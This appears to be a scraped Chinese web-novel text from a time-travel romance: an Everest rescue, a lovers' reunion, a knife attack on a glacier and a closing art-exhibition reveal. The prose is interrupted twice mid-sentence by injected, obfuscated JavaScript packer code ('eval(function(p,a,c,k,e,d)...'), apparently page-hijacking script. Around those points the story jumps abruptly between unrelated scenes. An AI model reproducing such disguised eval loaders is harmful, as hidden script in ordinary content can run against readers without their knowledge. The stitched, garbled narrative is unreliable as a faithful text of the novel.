林菀站在门口,看到忙碌的高山医生将各种药品堆满整整一张行军床,又拎来几千美金的高山专用氧。 在统计救援人员时,林菀也举起手。 “你——”丹增有些犹豫,不想让林菀以身试险。 “我上半年跟你一起走过那条线,也算有经验。而且我从没有高反过。”林菀试图说服她,“现在缺人手,我能帮忙当然尽量帮忙。” 闻言,丹增琢磨半晌,默许地没有吭声。 很快,大家便组建起一支救援队伍,领队是丹增的师父。为了确保安全,他拿出以前做的登顶训练PPT在简陋的投影仪上播放,“失踪游客走的是登顶线路第一段,到前进营地这里。前进营地海拔6500,垂直高度628,按照正常的攀登速度,从大本营出发,要花五小时左右,大家注意通过冰川时要注意裂缝——不过我认为他顶多只能走到雪线的位置……” 凌晨三点,顶着漫天繁星,救援队伍出发。 大家背着行囊,戴着头灯,拄着登山杖,离开大本营不久就遭遇纷飞大雪。在零下几十度的酷寒之下,所有人沿着路线分散开来,蜘蛛网式搜寻可能已经冻僵的失踪旅游博主。 “大家注意脚下。”丹增带领一个五人小分队,时不时回头查看队友情况。 一个队友擦了把绒布面罩,由于呼吸水汽凝结,嘴巴周围的布料已经结冰。他拍了拍胳膊上的积雪,“这天气,会不会雪崩啊?” “不要多说话。保存体力。”丹增说。 林菀望着漫漫无边的黑夜。雪花如鹅毛落下,只能看清眼前两三米的地方。她的面罩也结冰了。而且她戴着又厚又大的眼罩偶尔看不清路,便时不时将眼罩摘下来,导致眼睫毛都挂上了霜花。 一个小时的搜寻过去,雪停了。可大家也高兴不起来,他们已经逐步靠近雪线,这就意味着靠近深藏危险的冰川。纵然疲惫,但所有人都不敢掉以轻心。 丹增拿着的对讲机里,陆续传来其他几队的通知,他们都没有找到人。“05组,也未发现,撤回主路集合。” 大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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林菀直奔徐箴言家。后窗的垂丝海棠依旧开得繁茂,香气馥郁。可他家一楼二楼都没有灯,漆黑一片。 林菀心下焦虑不安,赶紧打车回自己家。然而她家楼下大门的密码竟然换了。摁半天门铃,家里也没人。她不敢贸然喊物业开门,如果房子已经被卖还债,那就是骚扰买主了。 从小区出来,她钻进路边停着的一辆出租车,报了林珠莉家的地址。而等出租车经过繁寓路地铁站时,她突然凭借第六感叫停,“等一等。” 午夜的凉风中,林菀推开车门下车。 他曾说过他是夏夜的风,所以每每林菀感觉到凉风拂面,都仿佛能感受到他指尖拂面的温存。而此刻,街头寂静无人,连草丛虫鸣也轻微极了。 空荡荡的出口突然响起了由远及近的脚步声。林菀下意识朝那里走了几步,一瞬不瞬地望着,连手心都紧张得沁出汗珠,心跳也轻一下重一下。 慢慢地,台阶上出现一个人影。 来人个子高挑,身材颀长,长相俊美,穿着简单的黑色长裤和白色衬衫,一手拎着包,一手挽着外套。那一张脸,原本是垂着眸,没有什么表情的。然而看到路灯下等待的她,他眼波骤变,突然顿住脚步。纵然难以置信,但此时此刻,他的思念远远超过了担忧与疑问。 反应过来,徐箴言疾步上前,一步跨下三节台阶,搂住了朝自己跑来的林菀。 他的手温厚柔软,终于在时隔两年后,再次将她揽入他的怀中。 73. 林画家的爱人来看画展吗? 阳光直射进卧室,林菀在徐箴言怀中醒来。 “早。”他侧身躺在她身后,微微低头,在她露出被子的光裸肩头印下一吻。 林菀弯了唇角,伸手与他放在她腰侧的手十指相扣,在阳光里看他无名指上的婚戒,它折射着灿烂阳光。 “为什么你昨晚从地铁站出来?”她轻声问。 “每晚我都搭乘末班地铁。”他的另一只手指尖绕着她黑发的发梢。 林菀知道,他也抱着可能会等到她回来的希望。 她曾经幻想了一万遍,想着如果有机会再次穿越,一定要问清楚他们为何要伪装登上地铁。可此刻她却一点都不想追问,只要他们都安全。 徐箴言说涂淼依旧在经营工作室,而林珠莉则因为防卫过当致人死亡,被判刑一年半。服刑期间,徐箴言经常去看她。前不久,他才接她出狱。如今,林乃岳基金会已经被注销,林珠莉所有财产都用于赔付诈骗案,她已经一无所有。 了解到这些情况,林菀急着起身,迫切想要见到林珠莉和涂淼。 徐箴言有条不紊地安排,按照林菀的要求,约好大家在一个户外用品超市见面。 一个小时后,到达目的地。 林菀下车就跑向朝她迎来的母亲和好友,扎扎实实地张开双臂将她俩齐齐搂住。徐箴言跟在后面,拿着车钥匙的手轻轻将林菀肩头散乱的发丝整理好。 林菀笑着默默流泪,看着好久不见的母亲。林珠莉消瘦很多,头发也白了不少,但她依旧肩背挺直,精神很足。“没事,我过得不差。钱以后还能挣。”初见的激动过去后,林珠莉的眼神逐渐恢复平静,并没有多少消极压抑的情绪。 “你没有大碍就好……真好。”林珠莉握住女儿的手,仔细地上下打量。这两年她一直担心女儿受伤回去后身体会如何,如今她欣慰于林菀健健康康地回来了。 而涂淼则是高兴得脸通红,一眨巴眼,愉悦的眼泪就掉下来,“我以为见不到你了。” “怪你当初骗我,我必须得回来收拾一下你。”林菀故意捏捏她的鼻子。果然如她所猜,当时地铁穿越时,三个人都躲在地铁车厢外面下方的位置。 “还专门跑来户外店收拾我啊?” “因为你们要跟我一起爬珠峰。”林菀说。 “啊?珠穆朗玛?!”涂淼瞪大眼睛,脸上的笑容瞬间消失。 徐箴言闻言便问,“怎么说?” “你跟我一起去过北坳,对吗?我这次之所以能过来,就是发现从那里也可以穿越。你们务必相信我。”她永远不会放弃,“这一次,绝对不会有问题。” 于是乎,这一天大家买齐所有装备。林菀为了避免夜长梦多,当即购买了去西藏的机票,然后开始定详细路程。 国内的大型探险公司要求珠峰登山者需要有六千米山峰的登高证书和登顶证书。林菀和徐箴言都有证书。但涂淼和林珠莉没有。 “我以前爬过家那边六千的山峰,但没有特意弄证书。”涂淼说。毕竟她的家族就有高山向导。 “妈,您呢?”林菀问母亲。 “以前有客户邀请,我一起去过四姑娘山,登顶的那座峰海拔有五千多。” “那也可以。”林菀点头。她对珠峰营地的情况十分清楚,“我们不报大型徒步团了,去营地后找帐篷旅馆里的向导和牦牛背夫。”没有证书的情况下,这是最为简便的方法。 一周后,一行四人来到拉萨,在这里停留三天适应气候,随后前往日喀则,抵达珠峰大本营。 眼下,正是珠峰登山旺季,大本营人来人往,十分热闹。林菀很快找到合适的向导和能出四头牦牛运输行李的背夫。 徒步出发的当天早晨,徐箴言退了住宿。 “你们不是要去徒步么?”帐篷老板娘有些好奇。难道回来就不住了? “不徒步了。”徐箴言微笑着说,“我岳母有点高反,我们今天计划返回日喀则。还有些东西在向导那边,带回去也没用。如果他问您,麻烦帮忙说让他随意处置吧。” 而此刻,林菀站在帐篷外,跟向导说话。 “你半夜给我发消息了?”向导拿着手机很是疑惑,“啥意思?要我今天先只带行李上去——那你们呢?” “我妈有点高反,想明天或者后天再上去。”林菀将红包递过去。工资已经结清,这是额外的小费,比工资还丰厚,“辛苦您了。” 向导接过红包,声音很是愉悦,“好说好说。我去请管理处通容一下,你们进山费已经交了,改个时间吧。” “谢谢您。” 今天天气好,徒步的人很多,还有不少外国人。林菀的向导就带着一个波兰人和两个牦牛工一起出发了。 看着他们越走越远,林菀转身进帐篷,将已经装备齐全的涂淼和林珠莉带出来。 徐箴言则拿着手机,设置一个小时后定时给向导发送短信,告知向导因为家人身体不适,他们要临时撤出大本营。山上的行李就由向导随意处置。 设定好后,徐箴言将手机丢进路边的大垃圾桶。出了大本营,就没有信号。手机只有留在这里才能按时发送短信。而向导会在返回大本营后发现那条信息。 做好一切后,林菀和徐箴言领头,带着林珠莉和涂淼踏上珠峰北坳徒步之路。他们穿的橙色连体羽绒服很快便融入徒步大军当中。 向导带着客户还有驮着行李的牦牛,走的速度不快。徒步一个小时后,林菀一行四人就看到了前方向导的身影。 林菀悬着的心终于放下来。她需要找到一个方式,既能登山,又能在穿越后完美隐身,不被人发现。让不知情的向导带着氧气瓶药品等行李走前面便是一个办法。如果几人穿越成功,向导跟帐篷旅馆老板娘对了消息后,只会认为他们真的提早走了。如果他们穿越不成功,由于高反需要帮助,林菀也能保证及时联系上向导,获得帮助——她带着卫星电话,向导也有卫星电话。 寒风呼啸,随着海拔慢慢提升,气温越来越低,脚下的路越来越难走。 “还行吗?要不要停下来休息?”林菀关心地问林珠莉和涂淼。 涂淼气喘吁吁,没有说话。而林珠莉撑着膝盖几秒,坚持道:“走!” 徐箴言掰了几只红景天口服液发给大家,“如果走不动一定要说。” 此刻,他们已经走到冰川脚下,雪线之上,身边就是嶙峋耸立的冰柱。这是一个拐角,前方漫漫冰雪挡住向导的身影。后方,徒步的其他游客还没追赶上来。 “注意脚下。”徐箴言等着大家喝完口服液,要回收小玻璃瓶放到背包里,“当心冰川裂缝,一旦卡进去就危险了。”有些裂缝下是深不见底的冰窟。 他话音刚落,突然见到一个穿着蓝色连体衣,浑身上下裹得严严实实的背包客出现在身后。 这个背包客竟然独自登山,他没有向导,连背包都没有。他拄着登山杖,一脚深一脚浅地从林菀面前走过——他竟然腿跛。 “让人家先过去。”林菀警醒地拉住正要往前走的涂淼。这个跛脚登山客有些蹊跷。 “好吧。”涂淼一屁股坐到地上。她正愁没机会休息,太累了。不过——“你怎么还拉着我?” 林菀拽着涂淼的胳膊,一动不动。她突然有种诡异的直觉,就在这里!这里就是穿越点,只要稍作等待,一定可以穿越。 那么这次穿越过去怎么见面?她唯一确定的是自己肯定在十月六号出席林吾的画展。 “大家记住,在三年后的十月六号去米卡艺术中心观看林吾画展。”她这一句话突兀,成功吸引大家注意力。 “你确定?”徐箴言瞬间领悟。 林吾心里一晃,集中神智,“都先别往上走,到我身边来。可能要穿——” 她话音未落,那个刚刚路过她的背包客突然转身几步将她的脖子箍住,从袖子里抖出一把割肉吃的小刀。“都别动!” 这一切发生得太快。徐箴言猛地迈步,往前一步便强迫自己停住。林珠莉不可置信地脚下一滑,而地上坐着的涂淼直接惊呆了。 “周城!”林菀咬牙切齿,从声音分辨出来者何人。她听说了,由于没参与林乃岳杀死几位年轻油画家,以及刘经理、庞涛那些事,只参与艺术品伪造案,周城便被判刑三年——这么看,他是减刑出来了。 “两年前大师班失火那夜,我听你和你妈讨论过穿越。”他喘着粗气,热气阵阵喷在林菀的耳朵上,“你带我一起走!否则谁也别想穿越!”一路跟踪过来,他必须拼死一搏,没有后路了。 周城拖着林菀,将小刀死死摁在她的脖子上,一步一步往后撤。他发现了徐箴言的异动,“徐箴言,你过来我就弄死她!” “冷静,周城。”徐箴言丢下手里的登山杖,以示自己没想伤害他,“放开她,有话好商量。” “呸!”周城朝旁边狠狠吐了一口唾沫,质问林菀,“到底怎么穿越?!”他必须要离开这个世界。曾经的他活得体面风光,如今却声名狼藉,各路朋友避之如蛇蝎。只有换一个世界,他才有机会重新成为一个艺术大家。 “我也在找穿越的地点,就在这一片。往右边走。”林菀此刻极度冷静,她示意林珠莉和涂淼别动,然后与徐箴言交换眼神。 右边便是危险的冰川,边缘有一道如凝固的水流一般光滑的狭窄冰面。 林菀被周城拖着,朝冰川移动。她看不到道路,脚下一松,旋即被周城掐着脖子提起来,下巴立即被小刀割出一条血痕。 “周城!”徐箴言愤怒地出声,“放开她!你别逼我动手。” 周城冷笑一声,继续问林菀,“然后?” “然后往后退。”林菀朝徐箴言点头示意。 周城眉头一皱,开始往后撤。他腿脚不便,一脚踩上冰面,整个人措手不及地晃起来。说时迟那时快,林菀一个肘击,挣脱辖制,却在下一秒被周城抓住衣领也往后倒去。 徐箴言冲过来一把将林菀拽住,但因为惯性,他也摔了下去,好在及时侧身让林菀落在他身上。而周城则快速朝冰川下方滑去。 噼里啪啦的冰裂声传来,周城摇摇晃晃地站起来。他穿的是带冰爪的鞋,不怕冰面行走,于是拼劲全身的力量,朝徐箴言和林菀冲来。 徐箴言一手将林菀推向旁边的石子路面,一手拽住冰柱。冰柱咔擦一声响,瞬间碎裂,他整个人也朝下滑去。 而就在这时,周城脚下的冰面突然发出剧烈声响,一条深不见底的冰裂缝就这样延伸开来。眨眼之间,周城人就不见了。 林菀震惊得来不及思考,扑过去抓住徐箴言的手,死劲拽住。林珠莉和涂淼也赶紧帮忙,终于在裂缝即将开到徐箴言腿边时将他顺利拖出冰面。 徐箴言安全后的第一个动作就是触碰林菀流血的下巴,担忧地问,“还好吗?” 林菀置若罔闻,一瞬不瞬地望着他,握住他放在她脸颊边冰凉的手,一字一句道:“你是林吾。” “什么?” “你是林吾!”林菀的声音突然颤抖起来,“从此刻起,你就是现实世界中的林吾画家!” 徐箴言诧异地望着她,什么话也说不出。 林菀擦了把脸,勉强起身。而就在这一刻,她突然眼前一黑,低血糖似的一阵眩晕,直接倒地滚了下去。 晕乎乎的黑暗里,她听到有人喊了一声,“林菀!”紧接着她就被人拽住了。 “怎么回事?”丹增关切地给她拍拍身上的雪花,“这段路坡度不大,你咋滚下来了。” 林菀的心突然嘣嘣跳得厉害,但脑子还是晕。无数画面在脑海中翻飞,她竟然想起在梦境世界中遗忘的一切。她如何成长,如何与徐箴言相识,如何进入莱音乐团…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我来看看您。”林菀平复着呼吸,看到谭姿虽然脸色憔悴但精神尚好,怀中躺着个小小的婴儿,头发黑亮,还在睡觉。 “我动胎气跟工作无关。”谭姿很快想到林菀的顾虑,解释道,“是年龄问题才导致早产。” “我还是很抱歉。”林菀歉意地笑着弯腰看孩子,“真可爱,名字取好了吗?” “早就准备了一男一女两个名字。”谭姿神态慈祥,眼神似水,“宝宝是男孩,叫商皓宸。皓月的皓,宝字头的宸。” 林菀彻底愣住了。 “你不会以为绪凡姓绪吧?”谭姿瞧她震惊,噗嗤笑了,“怪我没说过他的姓氏。” 绪凡也配合地点头,“我姓商。” 林菀还是一脸愕然,下意识低头看着那熟睡的小婴儿,一动不动。半晌她才问,“谭姐……您的英文名是Sheryl?” “你怎么知道?”谭姿问。公司里大家都喊她谭姐,所以她没用英文名。而这时婴儿醒了,哇哇地小声哭起来。他声音正常,没有失声。 而林菀似乎出神了,一直无言。 “说来也巧。我昨儿个晚上在画展那边发动,今天早上林吾还特意过来看望我,刚刚才走。”谭姿忍不住笑,“艺术家脑回路可真费解。他看到我儿子就感叹说,看来等四十岁以后也得继续保持身材,注意容貌。不知是个什么意思。” 林菀的脑子嗡嗡作响。她不知道自己接下来什么跟谭姿寒暄,又怎么离开。等她反应过来时,已经到达画展附近。 今天艺术基地人潮如织。司机将车停在离展馆有几百米的河边。林菀还在神游太虚,出车门时脚下踩空,差点摔跤。 而不等她站稳,就听到河对面有人大喊,“林菀!” 林菀在缭乱发丝飞舞当中看到河对岸有两个人朝她招手。涂淼扎着长长的马尾辫,瘦了些也精神些。而林珠莉染了黑发,穿着正装连衣裙,看着优雅极了。 这一瞬间,林菀任凭头发迷了眼睛,泪水刷地模糊了视线。她立即顾盼着找过桥通道。 “往前走!画展见!”林珠莉大声提醒。最近的桥就在画展那边。 林菀笑着擦擦眼睛,转身朝画展飞奔而去。 等她到达画展门口时,Maggie迫不及待地将出入卡套在她脖子上,“快点,发布会已经开始了。”发布会开始前,她在这里等着,林吾也在这里等,都不知道他在等谁。 “人多吗?”林菀迅速往里走。 “超级多。徐董把宣布新车全球代言人这种大事放到画展上来,真是厚爱林吾。”Maggie几步小跑跟上,“咱们准备一个月,啥都考虑到了,唯独漏掉跟画家本人核对介绍词。” “怎么了?” “人家是三年前才出道的,我们写的是五年前。” 林菀倏忽停下脚步。这世界真的在改变。以前都说林吾是五年前开始发表作品,如今却突然变成谣传。“你去忙吧,这边我盯着就好了。” “OK。”Maggie转身离开。 林菀独自顺着无人的走廊走着。越靠近发布会大厅,就越听得清里头各种相机咔擦声,以及记者提问声。 “谢谢给我提问机会。想问林画家,大家都知道林吾是您的别名,那么当初选取这个名字,有什么特别的意义吗?” 林吾轻轻笑了,声音温和,吐字清晰,“我爱人姓林。受她的影响,我才开始绘画。林与我,密不可分,所以定了林吾的名字,以作纪念。” 林菀的心如小鹿乱撞般跳着,终于走到门口。 “那您的爱人来看画展了吗?” 站在台上,徐箴言的目光越过在座的无数记者,越过前来支持他的画迷,看向大门口的林菀。他眼神温柔,饱含笑意,“她来了。”林吾——林菀,吾爱。 林菀深深地呼吸着,微微握住略有潮意的手指。 实现梦想的感觉真好。 她还在期待未来。 毕竟,在四十七岁那年,她会成为声名显赫的莱音交响乐团首屈一指的小提琴首席。